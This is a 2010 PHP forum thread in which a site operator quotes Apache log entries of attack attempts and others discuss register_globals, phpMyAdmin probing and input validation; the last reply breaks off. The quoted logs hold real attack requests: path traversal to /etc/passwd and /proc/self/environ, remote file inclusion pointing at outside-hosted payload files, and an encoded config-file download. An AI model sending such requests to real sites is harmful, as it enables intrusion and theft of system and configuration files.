| Shocking amount of PHP security holes? [message #171077] |
Thu, 23 December 2010 15:39  |
Ignoramus30015
Messages: 4
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
I have been looking at my apache logs, and I see a tremendous amount
of queries that clearly are attempts to hack me.
One typical example
87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
Many other examples about, where attackers try to override system
variables with web-supplied parameters. Kind of overriding PATH or
LD_LIBRARY_PATH variables to subvert setuid programs.
My main question is WTF? Why exactly does PHP let remote web users
override those variables?
This situation is why I never permit php software on my servers, with
exception of mediawiki. Even here I am very reluctant.
I use another language to make websites, and in that language web
parameters can be received by querying for them specifically, they do
not clobber system variables.
Can someone shed light on this, this question bugs me a great deal.
i
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171078 is a reply to message #171077] |
Thu, 23 December 2010 15:59  |
alvaro.NOSPAMTHANX
Messages: 277
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
El 23/12/2010 16:39, Ignoramus30015 escribió/wrote:
> I have been looking at my apache logs, and I see a tremendous amount
> of queries that clearly are attempts to hack me.
>
> One typical example
>
> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
>
> Many other examples about, where attackers try to override system
> variables with web-supplied parameters. Kind of overriding PATH or
> LD_LIBRARY_PATH variables to subvert setuid programs.
>
> My main question is WTF? Why exactly does PHP let remote web users
> override those variables?
It was a wrong design decision taken by the PHP team many years ago. In
earlier versions PHP would automatically create variables from several
input sources so you could code <input type="text" name="email"> and
automatically get user data available at $email. After that, the web
evolved, security become a concern and this feature was (kind of) disabled.
> This situation is why I never permit php software on my servers, with
> exception of mediawiki. Even here I am very reluctant.
>
> I use another language to make websites, and in that language web
> parameters can be received by querying for them specifically, they do
> not clobber system variables.
>
> Can someone shed light on this, this question bugs me a great deal.
PHP has two main issues regarding security.
First, it's a very popular language and you need little skills to write
your first simple script. As a result, it's being used by hordes of
amateurs who have no programming background and are not fully aware of
what they're doing.
Secondly, hosting services are extremely reluctant to upgrade to newer
versions and tend to configure their PHP set-ups with insecure settings
with backward compatibility in mind (so they receive less support
tickets due to legacy apps not working).
So there're a lot of automated exploits that seek to abuse security
wholes fixed years ago on poorly written apps running on badly
configured servers. It's worth the effort if only for the Law of Large
Numbers. I suppose there aren't many bad coders writing web sites in C++ ;-)
--
-- http://alvaro.es - Álvaro G. Vicario - Burgos, Spain
-- Mi sitio sobre programación web: http://borrame.com
-- Mi web de humor satinado: http://www.demogracia.com
--
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171079 is a reply to message #171077] |
Thu, 23 December 2010 18:42 |
Norman Peelman
Messages: 126
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
Ignoramus30015 wrote:
> I have been looking at my apache logs, and I see a tremendous amount
> of queries that clearly are attempts to hack me.
>
> One typical example
>
> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
>
In this case apache returned a '404 Page not found'
> Many other examples about, where attackers try to override system
> variables with web-supplied parameters. Kind of overriding PATH or
> LD_LIBRARY_PATH variables to subvert setuid programs.
>
> My main question is WTF? Why exactly does PHP let remote web users
> override those variables?
>
Can you supply an example of this?
> This situation is why I never permit php software on my servers, with
> exception of mediawiki. Even here I am very reluctant.
>
> I use another language to make websites, and in that language web
> parameters can be received by querying for them specifically, they do
> not clobber system variables.
>
> Can someone shed light on this, this question bugs me a great deal.
>
> i
>
--
Norman
Registered Linux user #461062
-Have you been to www.php.net yet?-
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171081 is a reply to message #171079] |
Thu, 23 December 2010 18:49 |
The Natural Philosoph
Messages: 993
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
Norman Peelman wrote:
> Ignoramus30015 wrote:
>> I have been looking at my apache logs, and I see a tremendous amount
>> of queries that clearly are attempts to hack me.
>> One typical example
>>
>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET
>> /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00
>> HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9
>> sun4u; X11)" my.site.com
>>
>
> In this case apache returned a '404 Page not found'
>
>> Many other examples about, where attackers try to override system
>> variables with web-supplied parameters. Kind of overriding PATH or
>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>
>> My main question is WTF? Why exactly does PHP let remote web users
>> override those variables?
>>
>
> Can you supply an example of this?
>
>> This situation is why I never permit php software on my servers, with
>> exception of mediawiki. Even here I am very reluctant.
>> I use another language to make websites, and in that language web
>> parameters can be received by querying for them specifically, they do
>> not clobber system variables.
>>
>> Can someone shed light on this, this question bugs me a great deal.
>>
>> i
>>
>
>
Indeed.My sites show persistent attempts to access something called
phpmyadmin.php, whatever that is..
The problem is sites written not even in php, but in something like
joomla over PHP, were its made very easy to use and contains well known
files in well known places that have administrative privileges.
All such files I place behind an .htaccess protected directory whose
existence and the names are non obvous. And whose accesses are carefully
logged.
Ease of use for noobs to get stuff working always and inevitably carries
the risk of ease of use for smarts to take control of.
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171082 is a reply to message #171081] |
Thu, 23 December 2010 19:24 |
jimp
Messages: 22
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
The Natural Philosopher <tnp(at)invalid(dot)invalid> wrote:
> Indeed.My sites show persistent attempts to access something called
> phpmyadmin.php, whatever that is..
phpMyAdmin is a popular web based tool for MySQL administration and it is not
part of PHP.
Like any other admin tool, especially web based ones, if you install it and
don't keep it secure and up to date, you reap what you sow.
As for "persistent attempts", there are tools out there that will note such
things and automatically block further attempts.
None of this of course has anything to do with PHP other than phpMyAdmin
was written in PHP.
--
Jim Pennino
Remove .spam.sux to reply.
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171083 is a reply to message #171078] |
Thu, 23 December 2010 21:16 |
Ignoramus30015
Messages: 4
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
On 2010-12-23, ?lvaro G. Vicario <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
> El 23/12/2010 16:39, Ignoramus30015 escribi?/wrote:
>> I have been looking at my apache logs, and I see a tremendous amount
>> of queries that clearly are attempts to hack me.
>>
>> One typical example
>>
>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
>>
>> Many other examples about, where attackers try to override system
>> variables with web-supplied parameters. Kind of overriding PATH or
>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>
>> My main question is WTF? Why exactly does PHP let remote web users
>> override those variables?
>
> It was a wrong design decision taken by the PHP team many years ago. In
> earlier versions PHP would automatically create variables from several
> input sources so you could code <input type="text" name="email"> and
> automatically get user data available at $email. After that, the web
> evolved, security become a concern and this feature was (kind of) disabled.
Thanks. Is there a way to for sure disable it, across the board, for
all PHP programs?
That is, to say that no web parameters go into global variables, and
unless php code queries some specific object or whatever to get a web
parameter, the parameter is not available.
>
>> This situation is why I never permit php software on my servers, with
>> exception of mediawiki. Even here I am very reluctant.
>>
>> I use another language to make websites, and in that language web
>> parameters can be received by querying for them specifically, they do
>> not clobber system variables.
>>
>> Can someone shed light on this, this question bugs me a great deal.
>
> PHP has two main issues regarding security.
>
> First, it's a very popular language and you need little skills to write
> your first simple script. As a result, it's being used by hordes of
> amateurs who have no programming background and are not fully aware of
> what they're doing.
I understand. I did not want to make it into a language flamewar by
saying "language X is better than language Y".
I just think that by stuffing script input into regular variables,
this creates a numbr of traps for the unwary.
> Secondly, hosting services are extremely reluctant to upgrade to newer
> versions and tend to configure their PHP set-ups with insecure settings
> with backward compatibility in mind (so they receive less support
> tickets due to legacy apps not working).
True
> So there're a lot of automated exploits that seek to abuse security
> wholes fixed years ago on poorly written apps running on badly
> configured servers. It's worth the effort if only for the Law of Large
> Numbers. I suppose there aren't many bad coders writing web sites in C++ ;-)
Do you know if mediawiki has any recently known security holes
exploitable by non-registered users?
i
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171084 is a reply to message #171079] |
Thu, 23 December 2010 21:25 |
Ignoramus30015
Messages: 4
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
On 2010-12-23, Norman Peelman <npeelman(at)cfl(dot)rr(dot)com> wrote:
> Ignoramus30015 wrote:
>> I have been looking at my apache logs, and I see a tremendous amount
>> of queries that clearly are attempts to hack me.
>>
>> One typical example
>>
>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
>>
>
> In this case apache returned a '404 Page not found'
Yes, because I do not have index.php. The attacker was probing,
hopeful to find it.
>> Many other examples about, where attackers try to override system
>> variables with web-supplied parameters. Kind of overriding PATH or
>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>
>> My main question is WTF? Why exactly does PHP let remote web users
>> override those variables?
>>
>
> Can you supply an example of this?
Here are some from logs of algebra.com:
64.50.163.80 - - [23/Dec/2010:12:33:30 -0600] "GET /algebra/homework/Sequences-and-series//download.php?view.195/contact.php=I PCop../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 542 "-" "libwww-perl/5.837" www.algebra.com
109.72.95.75 - - [22/Dec/2010:03:35:48 -0600] "GET //bbs//include/print_category.php?setup[use_category]=1&dir=http://www.asdsingapore.com/includes/domit/fx29id1.txt??? HTTP/1.0" 500 - "-" "Mozilla/5.0" www.algebra.com
209.62.76.194 - - [22/Dec/2010:07:09:14 -0600] "GET /algebra//dompdf/dompdf.php?input_file=http://indah1.webs.com/fx29id1.txt??? HTTP/1.0" 500 - "-" "Mozilla/5.0" www.algebra.com
76.12.154.99 - - [22/Dec/2010:07:11:08 -0600] "GET //dompdf/dompdf.php?input_file=http://indah1.webs.com/fx29id1.txt??? HTTP/1.0" 500 - "-" "Mozilla/5.0" www.algebra.com
24.173.234.213 - - [22/Dec/2010:15:47:36 -0600] "GET /admin/file_manager.php/login.php?action=download&filename=%69%6E%63%6C %75%64%65%73%2F%63%6F%6E%66%69%67%75%72%65%2E%70%68%70 HTTP/1.0" 404 542 " http://algebra.com/admin/file_manager.php/login.php?action=download&fil ename=%69%6E%63%6C%75%64%65%73%2F%63%6F%6E%66%69%67%75%72%65%2E%70%68%70" "Mozilla/4.0 (compatible;
>
>> This situation is why I never permit php software on my servers, with
>> exception of mediawiki. Even here I am very reluctant.
>>
>> I use another language to make websites, and in that language web
>> parameters can be received by querying for them specifically, they do
>> not clobber system variables.
>>
>> Can someone shed light on this, this question bugs me a great deal.
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171085 is a reply to message #171081] |
Thu, 23 December 2010 21:26 |
Ignoramus30015
Messages: 4
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
On 2010-12-23, The Natural Philosopher <tnp(at)invalid(dot)invalid> wrote:
> Norman Peelman wrote:
>> Ignoramus30015 wrote:
>>> I have been looking at my apache logs, and I see a tremendous amount
>>> of queries that clearly are attempts to hack me.
>>> One typical example
>>>
>>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET
>>> /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00
>>> HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9
>>> sun4u; X11)" my.site.com
>>>
>>
>> In this case apache returned a '404 Page not found'
>>
>>> Many other examples about, where attackers try to override system
>>> variables with web-supplied parameters. Kind of overriding PATH or
>>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>>
>>> My main question is WTF? Why exactly does PHP let remote web users
>>> override those variables?
>>>
>>
>> Can you supply an example of this?
>>
>>> This situation is why I never permit php software on my servers, with
>>> exception of mediawiki. Even here I am very reluctant.
>>> I use another language to make websites, and in that language web
>>> parameters can be received by querying for them specifically, they do
>>> not clobber system variables.
>>>
>>> Can someone shed light on this, this question bugs me a great deal.
>>>
>>> i
>>>
>>
>>
> Indeed.My sites show persistent attempts to access something called
> phpmyadmin.php, whatever that is..
>
> The problem is sites written not even in php, but in something like
> joomla over PHP, were its made very easy to use and contains well known
> files in well known places that have administrative privileges.
>
> All such files I place behind an .htaccess protected directory whose
> existence and the names are non obvous. And whose accesses are carefully
> logged.
>
> Ease of use for noobs to get stuff working always and inevitably carries
> the risk of ease of use for smarts to take control of.
>
>
>
>
I am not sure if I agree 100%. I think that if web queries did not
override variables, it would be several times safer. Of course, if a
developer does not valudate filenames, permitting something like
.../../../../etc/passwd or some such, they would get hacked, but at
least they would not be screwed unwittingly.
i
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171086 is a reply to message #171083] |
Thu, 23 December 2010 23:50 |
Michael Fesser
Messages: 215
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
.oO(Ignoramus30015)
> On 2010-12-23, ?lvaro G. Vicario <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>>
>> It was a wrong design decision taken by the PHP team many years ago. In
>> earlier versions PHP would automatically create variables from several
>> input sources so you could code <input type="text" name="email"> and
>> automatically get user data available at $email. After that, the web
>> evolved, security become a concern and this feature was (kind of) disabled.
>
> Thanks. Is there a way to for sure disable it, across the board, for
> all PHP programs?
The keyword is 'register_globals'. Make sure that it's disabled.
Micha
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171087 is a reply to message #171082] |
Fri, 24 December 2010 12:03 |
The Natural Philosoph
Messages: 993
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
jimp(at)specsol(dot)spam(dot)sux(dot)com wrote:
> The Natural Philosopher <tnp(at)invalid(dot)invalid> wrote:
>
>> Indeed.My sites show persistent attempts to access something called
>> phpmyadmin.php, whatever that is..
>
> phpMyAdmin is a popular web based tool for MySQL administration and it is not
> part of PHP.
>
> Like any other admin tool, especially web based ones, if you install it and
> don't keep it secure and up to date, you reap what you sow.
>
> As for "persistent attempts", there are tools out there that will note such
> things and automatically block further attempts.
>
well yes, but since the attempts all fail, and I log them anyway what is
the problem?
> None of this of course has anything to do with PHP other than phpMyAdmin
> was written in PHP.
>
Merely that any live site on the net will be subjected to bots crawling
all over it looking for holes.
Some of which may try to exploit PHP weaknesses, some not.
>
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171088 is a reply to message #171085] |
Fri, 24 December 2010 12:09 |
The Natural Philosoph
Messages: 993
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
Ignoramus30015 wrote:
> On 2010-12-23, The Natural Philosopher <tnp(at)invalid(dot)invalid> wrote:
>> Norman Peelman wrote:
>>> Ignoramus30015 wrote:
>>>> I have been looking at my apache logs, and I see a tremendous amount
>>>> of queries that clearly are attempts to hack me.
>>>> One typical example
>>>>
>>>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET
>>>> /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00
>>>> HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9
>>>> sun4u; X11)" my.site.com
>>>>
>>> In this case apache returned a '404 Page not found'
>>>
>>>> Many other examples about, where attackers try to override system
>>>> variables with web-supplied parameters. Kind of overriding PATH or
>>>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>>>
>>>> My main question is WTF? Why exactly does PHP let remote web users
>>>> override those variables?
>>>>
>>> Can you supply an example of this?
>>>
>>>> This situation is why I never permit php software on my servers, with
>>>> exception of mediawiki. Even here I am very reluctant.
>>>> I use another language to make websites, and in that language web
>>>> parameters can be received by querying for them specifically, they do
>>>> not clobber system variables.
>>>>
>>>> Can someone shed light on this, this question bugs me a great deal.
>>>>
>>>> i
>>>>
>>>
>> Indeed.My sites show persistent attempts to access something called
>> phpmyadmin.php, whatever that is..
>>
>> The problem is sites written not even in php, but in something like
>> joomla over PHP, were its made very easy to use and contains well known
>> files in well known places that have administrative privileges.
>>
>> All such files I place behind an .htaccess protected directory whose
>> existence and the names are non obvous. And whose accesses are carefully
>> logged.
>>
>> Ease of use for noobs to get stuff working always and inevitably carries
>> the risk of ease of use for smarts to take control of.
>>
>>
>>
>>
>
> I am not sure if I agree 100%. I think that if web queries did not
> override variables, it would be several times safer. Of course, if a
> developer does not valudate filenames, permitting something like
> ../../../../etc/passwd or some such, they would get hacked, but at
> least they would not be screwed unwittingly.
>
Its a judgement call. Nothing is 100% safe, and the easier it is to use
the less safe it tends to be.
I try to write my code so the pages return only precisely what they
should, or at worst, something the user could have got anyway.
>
> i
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171093 is a reply to message #171086] |
Fri, 24 December 2010 15:46 |
Thomas Mlynarczyk
Messages: 131
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
Michael Fesser schrieb:
> The keyword is 'register_globals'. Make sure that it's disabled.
Yes. But actually, why bother? As long as we don't use global variables
(and they are usually a bad idea), it doesn't matter, does it? And even
if global variables are used, they should be initialized properly and if
we forget to do that an E_NOTICE will remind us.
Greetings,
Thomas
--
Ce n'est pas parce qu'ils sont nombreux à avoir tort qu'ils ont raison!
(Coluche)
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171094 is a reply to message #171084] |
Fri, 24 December 2010 15:56 |
Erwin Moller
Messages: 228
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
On 12/23/2010 10:25 PM, Ignoramus30015 wrote:
> On 2010-12-23, Norman Peelman<npeelman(at)cfl(dot)rr(dot)com> wrote:
>> Ignoramus30015 wrote:
>>> I have been looking at my apache logs, and I see a tremendous amount
>>> of queries that clearly are attempts to hack me.
>>>
>>> One typical example
>>>
>>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
>>>
>>
>> In this case apache returned a '404 Page not found'
>
> Yes, because I do not have index.php. The attacker was probing,
> hopeful to find it.
>
>>> Many other examples about, where attackers try to override system
>>> variables with web-supplied parameters. Kind of overriding PATH or
>>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>>
>>> My main question is WTF? Why exactly does PHP let remote web users
>>> override those variables?
>>>
>>
>> Can you supply an example of this?
>
> Here are some from logs of algebra.com:
>
> 64.50.163.80 - - [23/Dec/2010:12:33:30 -0600] "GET /algebra/homework/Sequences-and-series//download.php?view.195/contact.php=I PCop../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 542 "-" "libwww-perl/5.837" www.algebra.com
> 109.72.95.75 - - [22/Dec/2010:03:35:48 -0600] "GET //bbs//include/print_category.php?setup[use_category]=1&dir=http://www.asdsingapore.com/includes/domit/fx29id1.txt??? HTTP/1.0" 500 - "-" "Mozilla/5.0" www.algebra.com
> 209.62.76.194 - - [22/Dec/2010:07:09:14 -0600] "GET /algebra//dompdf/dompdf.php?input_file=http://indah1.webs.com/fx29id1.txt??? HTTP/1.0" 500 - "-" "Mozilla/5.0" www.algebra.com
> 76.12.154.99 - - [22/Dec/2010:07:11:08 -0600] "GET //dompdf/dompdf.php?input_file=http://indah1.webs.com/fx29id1.txt??? HTTP/1.0" 500 - "-" "Mozilla/5.0" www.algebra.com
> 24.173.234.213 - - [22/Dec/2010:15:47:36 -0600] "GET /admin/file_manager.php/login.php?action=download&filename=%69%6E%63%6C %75%64%65%73%2F%63%6F%6E%66%69%67%75%72%65%2E%70%68%70 HTTP/1.0" 404 542 " http://algebra.com/admin/file_manager.php/login.php?action=download&fil ename=%69%6E%63%6C%75%64%65%73%2F%63%6F%6E%66%69%67%75%72%65%2E%70%68%70" "Mozilla/4.0 (compatible;
>
Hello,
That means nothing.
That is just some bot trying to get into poorly configured systems.
My apache access logs are filled with attempts to run dll's and stuff
that breaks into IIS.
Does that mean my Apache/PHP is poorly configured? Of course not: It
just means that the scriptkiddies that run their 'hackorzz' scanning
software are just shooting a million times, and sometimes hit bullseye
on accident.
If you don't know about filepermissions, read/write/execute and stuff
like that, it is better to NOT set up a PHP system indeed. If you do
know about Unix administration you are fine to run PHP.
That is: if PHP runs under Apache. In case people use IIS, who needs to
break into the system via PHP anyway?. (I never used anything else than
Apache / IIS and Tomcat).
In Apache PHP has often the rights of a user named www-data (or 'nobody'
or 'apache').
Take for example this one you posted:
87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET
/manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00
HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9
sun4u; X11)" my.site.com
It is clearly an attempt to steal passwd file from /etc/passwd.
Why a passwd file is typically readable for all users/processes on the
system, it shouldn't be wide open for the world at large.
I don't know what /manuals/index.php is supposed to do in this hack
attempt, but apparently the ?bi=xxx is a way to request a file.
Now, if this index.php is written by an idiot, chances are that it will
fetch anything requested.
This is NOT a problem with PHP, this is a problem with with running crap
software. The same can happen with *any* serverside language.
The script that runs at the server simply has the userrights of the user
it is running as.
So while I think you are wise not to run everything on your server (be
it PHP or ASP/VBscript or Perl or Java or Ruby or Python), it is a
strange thing to say this is a PHP only problem.
About the ENV being screwed up by PHP by just calling some crafted URL:
I don't think that is possible at all.
If you have an example of this: please post more information, since I am
curious.
Regards,
Erwin Moller
--
"There are two ways of constructing a software design: One way is to
make it so simple that there are obviously no deficiencies, and the
other way is to make it so complicated that there are no obvious
deficiencies. The first method is far more difficult."
-- C.A.R. Hoare
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171107 is a reply to message #171087] |
Fri, 24 December 2010 21:17 |
jimp
Messages: 22
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
The Natural Philosopher <tnp(at)invalid(dot)invalid> wrote:
> jimp(at)specsol(dot)spam(dot)sux(dot)com wrote:
>> The Natural Philosopher <tnp(at)invalid(dot)invalid> wrote:
>>
>>> Indeed.My sites show persistent attempts to access something called
>>> phpmyadmin.php, whatever that is..
>>
>> phpMyAdmin is a popular web based tool for MySQL administration and it is not
>> part of PHP.
>>
>> Like any other admin tool, especially web based ones, if you install it and
>> don't keep it secure and up to date, you reap what you sow.
>>
>> As for "persistent attempts", there are tools out there that will note such
>> things and automatically block further attempts.
>>
> well yes, but since the attempts all fail, and I log them anyway what is
> the problem?
I guess it comes down to personal preferences, you prefer to see your logs
full of failed attempts, I prefer to auto-block repeated attempts and see
nothing more in the logs from such places.
>> None of this of course has anything to do with PHP other than phpMyAdmin
>> was written in PHP.
>>
>
> Merely that any live site on the net will be subjected to bots crawling
> all over it looking for holes.
>
> Some of which may try to exploit PHP weaknesses, some not.
Yep, including Sun Solaris machines that get hit constantly looking to see
if well known Windows holes are open.
--
Jim Pennino
Remove .spam.sux to reply.
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171123 is a reply to message #171077] |
Sat, 25 December 2010 22:34 |
Twayne
Messages: 135
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
In news:z4-dnWZpZ8C28I7QnZ2dnUVZ_sqdnZ2d(at)giganews(dot)com,
Ignoramus30015 <ignoramus30015(at)NOSPAM(dot)30015(dot)invalid> typed:
> I have been looking at my apache logs, and I see a
> tremendous amount
> of queries that clearly are attempts to hack me.
>
> One typical example
>
> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET
> /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00
> HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0;
> SunOS 5.9 sun4u; X11)" my.site.com
>
> Many other examples about, where attackers try to override
> system
> variables with web-supplied parameters. Kind of overriding
> PATH or
> LD_LIBRARY_PATH variables to subvert setuid programs.
>
> My main question is WTF? Why exactly does PHP let remote
> web users
> override those variables?
>
> This situation is why I never permit php software on my
> servers, with
> exception of mediawiki. Even here I am very reluctant.
>
> I use another language to make websites, and in that
> language web
> parameters can be received by querying for them
> specifically, they do
> not clobber system variables.
>
> Can someone shed light on this, this question bugs me a
> great deal.
>
> i
Just like most any major programming language, PHP cannot interpret
when/where/how you're going to need "securty". It is up to YOU to write the
CODE to make you website secure, as with any other language. It's impossible
to interpret what will be needed for security tomorrow, let alone being hard
enough keeping up with today. Anything a language does contain becomes
obsolete often before it's released. W3schools.com and php.net will give you
a good job of learning how to handle security. And there are literally
thousands of sites covering the security coding for any language you can
think of. Just watch you don't pick a black hat.
HTH,
Twayne`
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171124 is a reply to message #171086] |
Sat, 25 December 2010 22:38 |
Twayne
Messages: 135
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
In news:5vn7h6l9g83o4fqplm3uttg7l1bvt3uhap(at)mfesser(dot)de,
Michael Fesser <netizen(at)gmx(dot)de> typed:
> .oO(Ignoramus30015)
>
>> On 2010-12-23, ?lvaro G. Vicario
>> <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>>>
>>> It was a wrong design decision taken by the PHP team many
>>> years ago. In earlier versions PHP would automatically
>>> create variables from several input sources so you could
>>> code <input type="text" name="email"> and automatically
>>> get user data available at $email. After that, the web
>>> evolved, security become a concern and this feature was
>>> (kind of) disabled.
>>
>> Thanks. Is there a way to for sure disable it, across the
>> board, for
>> all PHP programs?
>
> The keyword is 'register_globals'. Make sure that it's
> disabled.
>
> Micha
But beware, that adds very little to security. Read your php.ini for
information about "register_globals".
In fact, spend a little time reading the php.ini file, period.
"Sanitizing data" and "data verification" would likely be two good search
terms for you for PHP. Also "php manual" with or without the quotes.
HTH,
Twayne`
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171125 is a reply to message #171124] |
Sat, 25 December 2010 23:35 |
Jerry Stuckle
Messages: 2598
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
On 12/25/2010 5:38 PM, Twayne wrote:
> In news:5vn7h6l9g83o4fqplm3uttg7l1bvt3uhap(at)mfesser(dot)de,
> Michael Fesser<netizen(at)gmx(dot)de> typed:
>> .oO(Ignoramus30015)
>>
>>> On 2010-12-23, ?lvaro G. Vicario
>>> <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>>>>
>>>> It was a wrong design decision taken by the PHP team many
>>>> years ago. In earlier versions PHP would automatically
>>>> create variables from several input sources so you could
>>>> code<input type="text" name="email"> and automatically
>>>> get user data available at $email. After that, the web
>>>> evolved, security become a concern and this feature was
>>>> (kind of) disabled.
>>>
>>> Thanks. Is there a way to for sure disable it, across the
>>> board, for
>>> all PHP programs?
>>
>> The keyword is 'register_globals'. Make sure that it's
>> disabled.
>>
>> Micha
>
> But beware, that adds very little to security. Read your php.ini for
> information about "register_globals".
> In fact, spend a little time reading the php.ini file, period.
> "Sanitizing data" and "data verification" would likely be two good search
> terms for you for PHP. Also "php manual" with or without the quotes.
>
> HTH,
>
> Twayne`
>
>
On the contrary, it significantly enhances security, as those who really
understand PHP know.
I agree it doesn't replace proper validation of incoming data. But to
say it adds very little to security is a HUGE misstatement.
--
==================
Remove the "x" from my email address
Jerry Stuckle
JDS Computer Training Corp.
jstucklex(at)attglobal(dot)net
==================
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171126 is a reply to message #171077] |
Sun, 26 December 2010 01:49 |
Katie
Messages: 4
Registered: December 2010
Karma: 0
|
Junior Member |
|
|
On Dec 23, 3:39 pm, Ignoramus30015 <ignoramus30...@NOSPAM.
30015.invalid> wrote:
> Can someone shed light on this, this question bugs me a great deal.
PHP is very easy to code in, but it's hard to code securely in.
Largely this is due to historical decisions made in developing PHP
when security wasn't a major concern. Modern web frameworks tend to
automatically protect against a whole host of vulnerabilities from sql
injection to XSS but the core PHP languages doesn't have those
advantages.
Katie
--
CoderStack
http://www.coderstack.co.uk/php-jobs
The Software Developer Job Board
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171132 is a reply to message #171093] |
Mon, 27 December 2010 08:16 |
alvaro.NOSPAMTHANX
Messages: 277
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
El 24/12/2010 16:46, Thomas Mlynarczyk escribió/wrote:
> Michael Fesser schrieb:
>> The keyword is 'register_globals'. Make sure that it's disabled.
>
> Yes. But actually, why bother? As long as we don't use global variables
> (and they are usually a bad idea), it doesn't matter, does it? And even
> if global variables are used, they should be initialized properly and if
> we forget to do that an E_NOTICE will remind us.
The "register globals" feature has nothing to do with using global
variables or not. You can find further information here:
http://es.php.net/manual/en/security.globals.php
Currently, it's just a source of silly bugs and security holes.
--
-- http://alvaro.es - Álvaro G. Vicario - Burgos, Spain
-- Mi sitio sobre programación web: http://borrame.com
-- Mi web de humor satinado: http://www.demogracia.com
--
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171133 is a reply to message #171083] |
Mon, 27 December 2010 08:22 |
alvaro.NOSPAMTHANX
Messages: 277
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
El 23/12/2010 22:16, Ignoramus30015 escribió/wrote:
